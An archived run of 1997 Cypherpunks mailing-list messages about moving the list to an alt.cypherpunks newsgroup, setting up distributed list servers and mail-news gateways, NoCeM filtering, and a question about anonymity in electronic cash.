> IBM, will tolerate such things as postings of dumpster divings at Mykotronx
> and RSADSI, of deliberate slams against Tivoli products (a la the case John
> Gilmore referred to this morning), postings about assassination markets,
> and so on.
> 
> I still feel that the time has come to move virtual forums such as ours out
> of U.S. jurisdictions. Given that most European nations are worse in some
> ways (no Holocaust denial posts allowed in "cypherpunks@foobar.de"?), I
> recommend the alt.cypherpunks as the best overall compromise.

(I apologize to everyone whose e-mail has gone unanswered this week - I've
had a bunch of other stuff to do, but I'll get to it eventually. Also, I posted
the Anshel+Goldfield zeta function paten number - do check it out.)

Random thoughts:

1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
corprate news servers that don't carry alt.* (or even soc.*). Note that
soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
Another possibility is sci.crypto.cypherpunks. (True, people whose corporate
newsservers don't carry soc.* and talk.* can use dejanews - provided their
firewall lets them.)

2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
It takes a vote. I'm willing to be one of the proponents and generally help
with the process. (Both I and Igor have been co-proponents of major Usenet
newsgroups - don't know about other people onthis list. :-)

3. An unmoderated Usenet newsgroup would have even ore crap than this mailing
list. I've been thinking of how to deal with crap, and with the obvious desire
by some people to delegate their decision what to read and what not to read
to other people. 

While cpunks@toad worked, one could subscribe to a filtered version offered
by at least 2 people. There was no easy way to get those articles that either
filterer considered worth reading: if you subscribed to both lists, you'd get
most articles twice.

Here's a proposal: anyone should be free to issue 'highlight' NoCeM's for the
unmoderated cypherpunks newsgroups. Perhaps there will be a 'bot immediately
highlighting submissions from well-known posters.

Someone reading the newsgroup with a nocem-enabled newsreader (such as gnu)
can choose to read only those articles that one of the filterers he trusts
has already marked as worthy of his attention. (E.g. Sandy can issue NoCeMs
to his heart's content.) However the filterer can't stop someone from not
using NoCeMs and reading the entire newsgroup traffic without incurring
moderation delays.

Most people don't have nocem-enabled newareaders yet... Which is where the
network of cypherpunks majordomos Igor's been busy creating comes in very
handy. 

When one of the nodes in the distributed cpunks2news gateway gets a submission,
it should xmit it to the other known gateways and post it to Usenet. Also it
should grab postings from the Usenet newsgroup and forward them to its mailing
list. However in addition to the unedited mailing list, some gateways can
choose to offer a filtered list controlled by one or more nocem issuers:
i.e. one might be able to subscribe to cypherpunked-filtered-by-either-
ray-or-sandy and receive articles only when the gateway receives a
nocem from one of the two listing their message-ids. (Better yet, one
might specify in the subscription which filterers to use.)
I don't think this is a very hard thing to hack up.

Sorry for the typoes: now Imust run, but I'd beinterested in the feedback on
these thoghts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Wed, 12 Feb 1997 13:42:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks@Cyberpass.net New List
Message-ID: <199702122142.NAA06038@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I am gratified to see that several people have stepped forward to offer
their services to host this list. I have been contacted by various list
members to host the list here at Infonex. I think there are several reasons
I was approached to do this.

As a long time remailer operator I am used to taking heat for the services
I offer, and dealing with attacks on the services I run. As the owner and
President of Infonex, the list is in no danger of being pulled by the
administration of this site. As the author of Mixmaster I am reasonably
well known (and I hope respected) member of the list. I have been
completely uninvolved in the politics which have plagued the list of late.

I personally favor the multi-node list model, where no one site can censor
the list, the loss of any one node is not catastrophic, and the load on any
one machine is not excessive. Unfortunately I don't think it will be up and
functional in time for the transition. I have already set up the list on my
majordomo server and subscribers are welcome now. The list address is
cypherpunks@Cyberpass.net and the subscription address is
majordomo@Cyberpass.net. The list on my server is subscribed to the
unedited version of the current cypherpunks list. Once the multi-node list
system is perfected I will integrate this list with the other nodes.

Having dealt with the abuse heaped on remailer operators, I think I have an
inkling of what John Gilmore has withstood for years. He has agreed to
forward his list to mine (and possibly others) for a while after the 20th.

It is my opinion that the primary Cypherpunks list should be completely
uncensored and unfiltered. An ecology of filtered lists has developed in
exactly the way many predicted they should. For the record I regularly read
only a filtered version of the list, and subscribe to the full list only to
be able to read referenced articles which were filtered.

	-Lance Cottrell

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----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/ 

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Wed, 12 Feb 1997 13:41:48 -0800 (PST)
To: Dale Thorn <paul@fatmans.demon.co.uk>
Subject: Re: New group
Message-ID: <199702122141.NAA06010@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have alt.cypherpunks on my server (all 1 message). I would be happy to
feed that group (and alt.anonymous.messages) to any news server that asks.

	-Lance

At 6:38 AM -0800 2/12/97, Dale Thorn wrote:
>Paul Bradley wrote:
>> Well despite the obvious problems of propogation I thought it was time
>> someone actually did something to get us a new home, even if it`s only
>> temporary. So I have created alt.cypherpunks... See you all over on
>> usenet!...
>
>I pressed the URL alt.cypherpunks and my Netscape server said
>"no such thing" or words to that effect.


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 12 Feb 1997 13:41:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymity and e-cash
Message-ID: <199702122141.NAA05987@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The NSA's research report on e-cash says:

	"The ideal situation (from the point of view of privacy advocates)
is that neither payer nor payee should know the identity of the other. This
makes remote transactions using electronic cash totally anonymous:  no one
knows where Alice spends her money and who pays her.

	"It turns out that this is too much to ask: there is no way in such
a scenario for the consumer to obtain a signed receipt.  Thus we are forced
to settle for payer anonymity."

Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
illuminate.  The discussion of digital cash seemed to assume no payee
anonymity.  But the immediate previous section of dining cryptographers
involved (it seemed) recipient untraceability.

Is payee anonymity technically possible?  Under what conditions?

If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

Thanks,
Lee







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Feb 1997 13:42:14 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Is "alt.cypherpunks" the best choice?
Message-ID: <199702122142.NAA06041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 2:49 PM -0600 2/12/97, Igor Chudov @ home wrote:

>It is too late to stop alt.cypherpunks, but if I had to make a
>prediction again, I would predict that soon posters will BEG to help
>them create comp.*.cypherpunks, because of spam and alt.flamage.

Perhaps some will, but I've been a reader of many alt groups for many
years, and have not found them to be unusable. Alt.religion.scientology,
for example, has been a robust forum for discussion (and argument, of
course!) about Scientology.

My fear about using a "well respected" name is that the usual calls for
moderation may end up with it being moderated! And the well respected
domains are often plagued with threats by various participants that
_others_ are being "off topic," with threats to send letters to sysadmins
advising them that one of their users is debating an off-topic subject.

I have a fair amount of respect for Igor, so my comments here should not be
taken the wrong way. To wit, I recall that shortly after the "moderation"
thing began on Cypherpunks@toad.com, Igor called for Sandy to start
blocking "libertarian rants" and "crypto anarchy" discussions, apparently
feeling these are not proper Cypherpunks topics. It could be that a
"sci.crypt.cypherpunks" group, for example, would result in pressures on
sysadmins to discipline those who post "off topic" things.

(Again, I'm not saying Igor himself would do this. But there would be a
temptation for some to do so.)

For me, I can easily scan even a high volume group like
alt.religion.scientology for threads of interest (I use "NewsWatcher YA," a
good Mac-based threaded newsreader, with even support for anonymous
remailers built in). If I can read a.r.s., I can read a.cp without any
trouble.

It works for me.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Feb 1997 12:56:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: whois cypherpunks.org ?
Message-ID: <199702122056.MAA04550@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On the Ft. Meade addresses for two of the cpunk domains, was there
not a humorous explanation for this posted a couple of years back? 

Dimly remembered: there's a town of Ft. Meade as well as The Mad Fort
itself, or something like that, and that a mail drop would be handy for
swapping useless bits of bs-buffer overflow.

If this is now classified, hit D, Degausse and deodorize your Farradage!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 15:15:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: List-Managers list info
Message-ID: <199702122315.PAA08421@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"Majordomo@GreatCircle.COM"  4-AUG-1996 00:00:26.72
To:	IN%"EALLENSMITH@mbcl.rutgers.edu"
CC:	
Subj:	Welcome to list-managers

Welcome to the list-managers mailing list!

Please save this message for future reference.  Thank you.

If you ever want to remove yourself from this mailing list,
you can send mail to <Majordomo@GreatCircle.COM> with the following
command in the body of your email message:

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 Here's the general information for the list you've subscribed to,
 in case you don't already have it:

Description
===========
This list is for discussions of issues related to managing Internet
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Policies
========
You can subscribe a local redistribution list or a gateway to a local
newsgroup, as long as whatever you do is local to your site.  This
restriction makes it much easier for me to track down mailer problems.

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starts bouncing, I'll probably drop you from the list fairly quickly;
you'll have to resubscribe when you get the problem fixed, and retrieve
the archives to find out what you missed.

Archives
========
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Postmaster and list manager, Great Circle Associates
mcb@greatcircle.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:56:45 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702122056.MAA04561@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"shamrock@netcom.com"  "Lucky Green" 12-FEB-1997 04:22:39.31

>Everybody with a web browser has access to alt newsgroups via
>http://www.dejanews.com/

	A: not all alt newsgroups
	B: not in an anonymous fashion (the anonymizer blocks from
		requesting files from dejanews)
	As someone not currently on USENET, I'd request that _somebody_
put up a bi-directional gateway; I'll put in a request to
list-managers@greatcircle.com for advice & suggestions, and will
suggest that it get cc'd to cypherpunks@toad.com.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:57:07 -0800 (PST)
To: list-managers@greatcircle.com
Subject: Need a good bi-directional mail-news gateway
Message-ID: <199702122057.MAA04596@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	Hi. The cypherpunks list is going through some major rearrangements,
and it appears that we need a bi-directional mail-news gateway for the new
group alt.cypherpunks and for whatever list(s) come out of the clouds of dust.
(The list(s) in question may be done in a distributed fashion across many
different machines, to lessen volume (1000+ subscribers, 100+ messages a day),
crash vulnerablity, and other problems.) Anybody have experience in running
a _really_ high-volume mail-news gateway (or in running distributed lists)?
Please cc: any replies to cypherpunks@toad.com.
	Thanks,
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 12 Feb 1997 12:57:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702122057.MAA04643@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 14:22 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

> 	Umm... because you'll eventually accumulate _lots_ of addresses
> that don't work, which will slow things down tremendously in sending
> mail out?

The current subscription is between 1,000 and 2,000 I don't think that is
_lots_. All we need to do is count the number of bounces per address in
a given period, the SSZ end is trying to decide between weekly or
monthly cleanings, and then clear that address. At no point would I need
to archive the original bounce.

> >I can verify this. If I was not already having to deal with these problem
> >as a current mailing list operator I certainly would not take on the
> >job. It is one of the reasons I STRONGLY suggest anyone serious about this
> >should use the resources to make money as well. Anyone capable of setting up
> >and operating such a remailer system is at least capable of basic skills.
> 
> 	Well, loki@cyberpass.net has made the offer to host the entire
> list... and Lance is certainly making money at it. While this would have
> some problems in comparison with the distributed list idea (namely more of
> a choke point), it would decidedly help.

I certainly hope they get a cpunks address made available. I will certainly
subscribe cpunks@ssz so that the distributed remailer will benefit from 
that input. However, one of the major realizations is that as long as one
anything is involved in the list it is capable of being shutdown at any
time with no warning. It also makes it much easier to compromise. I would
like to see servers in several countries myself.

> >Is anyone interested in acting as a mail-to-news gateway?

Want to volunteer?


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 13:25:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: List for discussing many majordomos (fwd)
Message-ID: <199702122125.NAA05544@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 22:46:03 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: List for discussing many majordomos

> Yes, this is a good idea. One of the proponents of the "many majordomos"
> project apparently has plans to impose his own ideas about intellectual
> property on the project, and this seems like a pretty serious thing for a
> setup that's allegedly going to prevent censorship. We need a place to
> discuss this.

Please explain how making submissions de facto public domain censors
anyone?


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 12:59:01 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <199702122059.MAA04673@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 11:59:08.20

>> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
>> From: ichudov@algebra.com
>> Subject: Re: Moderation experiment almost over; "put up or shut up"

>> John Gilmore wrote:
>> > A pentium is definitely up to this task.  I've been running it the
>> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
>> > general computing).  Give it a big /var/spool partition (mine is 60MB)
>> > because every message will sit in the queue for days (*somebody* on
>> > the list will have an unreachable name server or MX server until the
>> > msg times out).  Give it lots of RAM and paging space, since each
>> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
>> > have dozens running at the same time.

>My approach to this problem has been to use a 1G drive and mount the entire
>file system on it. Swap and MS-Dos each get their own partitions. This
>allows the use of the entire drive as a buffer. I am in the process of
>adding another 1G in approx. two weeks with the intent of moving /home off
>the main drive. This not only gives the system more space but the users as
>well. I set swap to 4x main ram. I use Linux and have it as one giant
>partition even though suggested is blocks of 16M, works for me (YMMV). Would
>be minor to monitor df and alarm when it gets to 200M or something.

>I must admit however that I am looking at a faster mbrd. and a bigger hard
>drive in the immediate future to make up for the extra load I expect. Had
>not really planned on the remailer project however...

>> > You'll need a BIG mailbox for the bounce messages, and someone (or
>> > some unwritten software) to scan it every day or two and delete the
>> > lusers whose mailboxes are full or who dumped their account without
>> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
>> > email a day; more when the list is under attack.

>How about dumping the bounces to /dev/null? I shure don't care if some
>bozo's (other than mine that is) mailbox goes away.

	Umm... because you'll eventually accumulate _lots_ of addresses
that don't work, which will slow things down tremendously in sending
mail out?

>> > The real issue is how willing you are to put your own time into
>> > dealing with problems.  Not only do things go wrong by themselves, but
>> > there are malicious assholes in the world who will deliberately make
>> > trouble for you just because they like to.  Spending a day or two
>> > cleaning up the mess is just part of the job.  Check your level of
>> > committment two or three times before taking on the task -- so you
>> > won't end up getting disgusted after a month or two and putting the
>> > list's existence into crisis again.  It's not a "set it up and forget
>> > it" kind of operation.

>I can verify this. If I was not already having to deal with these problem
>as a current mailing list operator I certainly would not take on the
>job. It is one of the reasons I STRONGLY suggest anyone serious about this
>should use the resources to make money as well. Anyone capable of setting up
>and operating such a remailer system is at least capable of basic skills.

	Well, loki@cyberpass.net has made the offer to host the entire
list... and Lance is certainly making money at it. While this would have
some problems in comparison with the distributed list idea (namely more of
a choke point), it would decidedly help.

>> Another suggestion may be to set sendmail expire option to one day
>> instead of five so that messages that cannot be delivered would bounce
>> faster and not clog the queue.

>I like this idea very much. Myself I would set it for like 4 hours or so and
>if it couldn't be delivered then bye bye. Another motivation for selective
>sites to operate as archives without themselves being remailers.

>Another issue related to this is at what point to unsubscribe accounts. It
>seems to me that if the address times out some number of times it should be
>deleted.

>Is anyone interested in acting as a mail-to-news gateway?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 15:13:29 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702122313.PAA08357@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:17 AM 2/12/97 -0600, Jim Choate wrote:
[quoting me]
>> Usenet technology does exactly what you're describing: it's a distributed
>> database of messages designed to facilitate each server getting its own
copy
>> of every message, and holding it locally for distribution to interested
>> readers. Other people have been kind enough to write, debug, and document
the
>> software - all you have to do is install it. This could be running
tonight. 
>
>Did you get it running last nite Greg? When do you expect to be able to
>handle traffic?

Yes, I installed INN and ran a few hundred test messages through it last
night. My machine will be on the net full-time Thursday or Friday. Will yours
be ready then, too? 

If you need some help setting it up, let me know. It can be a little tricky
if you haven't done it before. 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMwJE/f37pMWUJFlhAQH/9Af9E9FqR2oQXmL77j6wVnoD1Szh4FH3a8X+
Kc9GILJO0b6PpjNh2qEG2xTs2XYW6GgKmnQVqyA92otB8LtZND46LAuef5IQgbgD
BxYPiUp5rgrhwpx1ArFqT6GfQQKIjFHNpSqyximWSv+TmoK/ptx/uhA7jP+VmOKy
5mbYhXZbbH/GXKa5W+pZzjHu6XEXMl9L4jiMdgWZAmkkn2OTpkUFu9N/FosoiQw+
tK33WqQtNX5N/gqvO5sOZYEgOlmJMzM+f5sqtbGnokc3FxZQxwRbshmJ5xRPkOtU
rcLzL7/jzP03nQfGLHj4iFzUgPO+rYQ/ur5VxSuR/svZvm+XIxuqOg==
=jxJb
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 13:42:08 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702122142.NAA06036@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> "Timothy C. May" <tcmay@got.net> writes:
> > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> > >If the people decide for creation of a new USENET newsgroup,
> > >we need to think very hard about actually moving it to a different
> > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> > >
> > >A comp.* or sci.* newsgroup, if created, has the following advantages
> > >over an alt.* newsgroup:
> > >
> > >1) There is usually less spam in sci.* or comp.*
> > >2) There are virtually no completely irrelevant flamewars
> > >3) The propagation will be a lot better
> > >4) More people will be able to read it because of the issue of providers
> > >   not carrying alt.*.
> > >
> > >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> > >alt.* newsgroup.
> > 
> > Sure, and this has come up in every past discussion of creating
> > "alt.cypherpunks."
> > 
> > But the creation of alt.cypherpunks is _easy_, and needs little permission
> > or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> > takes work, requires a vote, blah blah blah. And so it never gets off the
> > ground.
> > 
> > (Nor is it clear to me, and perhaps not to others, that it belongs in the
> > the various places Igor mentioned. Comp.org.cypherpunks probably is the
> > best fit, but then many would cite the "comp" part to try to insist that
> > only _computer_ topics be discussed. Likewise, the "soc" domain would skew
> > discussion...etc. "Alt" has the nice advantage of explicitly not be part of
> > sci, or comp, or soc, or even talk.)
> > 
> (I apologize to everyone whose e-mail has gone unanswered this week - I've
> had a bunch of other stuff to do, but I'll get to it eventually. Also, 
> I posted
> the Anshel+Goldfield zeta function paten number - do check it out.)
> 
> Random thoughts:
> 
> 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> corprate news servers that don't carry alt.* (or even soc.*). Note that
> soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> Another possibility is sci.crypto.cypherpunks. (True, people whose corporate
> newsservers don't carry soc.* and talk.* can use dejanews - provided their
> firewall lets them.)

> 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> It takes a vote. I'm willing to be one of the proponents and generally help
> with the process. (Both I and Igor have been co-proponents of major Usenet
> newsgroups - don't know about other people onthis list. :-)

Not only it takes a vote. What is more important is what a vote gives: 
a good discussion of the newsgroup and the formal RFD/RFD/CFV process
ensures that, on average, a good balance is found between various groups
of readers.

I am not concerned as to what the name of the group will be, it is
not important. What is important is that it should be in a more or
less flame-free zone.

It is too late to stop alt.cypherpunks, but if I had to make a
prediction again, I would predict that soon posters will BEG to help
them create comp.*.cypherpunks, because of spam and alt.flamage.

> 3. An unmoderated Usenet newsgroup would have even ore crap than this mailing
> list. I've been thinking of how to deal with crap, and with the obvious desire
> by some people to delegate their decision what to read and what not to read
> to other people. 

It is alt.* and soc.* that has most crap, sci and comp are way better.

> Most people don't have nocem-enabled newareaders yet... Which is where the
> network of cypherpunks majordomos Igor's been busy creating comes in very
> handy. 
> 

It is a very good idea to let NoCeM issuers and filterers work 
independently from list nodes.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 13:41:10 -0800 (PST)
To: "Jonathan M. Bresler" <jmb@frb.gov>
Subject: Re: Need a good bi-directional mail-news gateway
Message-ID: <199702122141.NAA05967@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jonathan M. Bresler wrote:
> 	your expected mail volume is 100,000+ messages a day?
> 
> 	i run lists that do 200,000+ routinely.
> 	recent peak of 350,000 messages
> 
> 	does that meet your needs?

Yes. This is great. You can join a discussion of people who will
help hosting the cypherpunks list at cypherpunks-hosts@algebra.com.
Subscribe by asking majordomo@algebra.com

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 15:13:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks created
Message-ID: <199702122313.PAA08388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



According to DejaNews, Mike Duvos has also issued a newgroup for
alt.cypherpunks:

>Subject:      cmsg newgroup alt.cypherpunks
>From:         mpd@netcom.com (Mike Duvos)
>Date:         1997/02/11
>Message-Id:   <mpdE5GMA8.ABH@netcom.com>
>Sender:       mpd@netcom12.netcom.com
>Control:      newgroup alt.cypherpunks
>Organization: Netcom On-Line Services
>Newsgroups:   alt.cypherpunks
>
>
>
>alt.cypherpunks is an unmoderated newsgroup, needed as a replacement
>for the high volume Cypherpunks mailing list, which is being evicted
>from its longtime home at toad.com due to creative differences with
>the site owner, John Gilmore. 
>
>For your newsgroups file:
>
>alt.cypherpunks  Technological defenses for privacy
>
>Some background on Cypherpunks, snipped from the mailing list welcome
>message, follows...
>
>Cypherpunks assume privacy is a good thing and wish there were more of it. 
>Cypherpunks acknowledge that those who want privacy must create it for
>themselves and not expect governments, corporations, or other large,
>faceless organizations to grant them privacy out of beneficence. 
>Cypherpunks know that people have been creating their own privacy for
>centuries with whispers, envelopes, closed doors, and couriers. 
>Cypherpunks do not seek to prevent other people from speaking about their
>experiences or their opinions. 
>
>The most important means to the defense of privacy is encryption. To
>encrypt is to indicate the desire for privacy.  But to encrypt with weak
>cryptography is to indicate not too much desire for privacy. Cypherpunks
>hope that all people desiring privacy will learn how best to defend it. 
>
>Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish to
>learn about it, to teach it, to implement it, and to make more of it. 
>Cypherpunks know that cryptographic protocols make social structures. 
>Cypherpunks know how to attack a system and how to defend it.  Cypherpunks
>know just how hard it is to make good cryptosystems. 
>
>Cypherpunks love to practice.  They love to play with public key
>cryptography.  They love to play with anonymous and pseudonymous mail
>forwarding and delivery.  They love to play with DC-nets.  They love to
>play with secure communications of all kinds. 
>
>Cypherpunks write code.  They know that someone has to write code to
>defend privacy, and since it's their privacy, they're going to write it. 
>Cypherpunks publish their code so that their fellow cypherpunks may
>practice and play with it.  Cypherpunks realize that security is not built
>in a day and are patient with incremental progress. 
>
>Cypherpunks don't care if you don't like the software they write. 
>Cypherpunks know that software can't be destroyed.  Cypherpunks know that
>a widely dispersed system can't be shut down. 
>
>Cypherpunks will make the networks safe for privacy. 
>
>-- 
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@frb.gov>
Date: Wed, 12 Feb 1997 12:57:03 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Need a good bi-directional mail-news gateway
Message-ID: <199702122057.MAA04595@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>	Hi. The cypherpunks list is going through some major rearrangements,
>and it appears that we need a bi-directional mail-news gateway for the new
>group alt.cypherpunks and for whatever list(s) come out of the clouds of dust.
>(The list(s) in question may be done in a distributed fashion across many
>different machines, to lessen volume (1000+ subscribers, 100+ messages a day),
>crash vulnerablity, and other problems.) Anybody have experience in running
>a _really_ high-volume mail-news gateway (or in running distributed lists)?
>Please cc: any replies to cypherpunks@toad.com
>	Thanks,
>	-Allen

	your expected mail volume is 100,000+ messages a day?

	i run lists that do 200,000+ routinely.
	recent peak of 350,000 messages

	does that meet your needs?

jmb






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:11:28 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702130011.QAA09573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 6:21 PM +0000 2/12/97, Attila T. Hun wrote:
>    maybe relief is in sight; can we spell excedrin?
>
>on or about 970211:1433 educom@elanor.oit.unc.edu said:
>
>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL
>
>+A U.S. district court in Ohio has granted CompuServe's request for a
>+preliminary injunction barring Cyber Promotions Inc. from sending
>+unsolicited e-mail to its subscribers while the commercial provider
...

Were I a customer of CompuServe, I'd ask on what basis CompuServe was
intercepting e-mail to me. In fact, a CompuServe account holder has made
just this point: "I'll decide what's junk mail and what's not."

Having the court system involved in deciding what mail is valid and what is
not valid is not my idea of a free society.

Having said this, the flaw remains that "junk mail" is "free" to the
sender. This is a flaw in the ontology of e-mail, and needs to be fixed.
Digital postage is one approach.

I'm not holding my breath, but I sure don't want a "District Court" deciding.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:51:43 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: alt.cypherpunks created
Message-ID: <199702130051.QAA10758@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:06 PM -0800 2/12/97, Greg Broiles wrote:
>According to DejaNews, Mike Duvos has also issued a newgroup for
>alt.cypherpunks:

I've already posted two articles to it. I expect it to be the main place I
post my words, as it eliminates any possibility that some site admin will
"moderate" my essays.

(And few of my articles in the last several days have made it to the Main
list. They were not flames, but apparently failed Sandy's test of
relevance.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
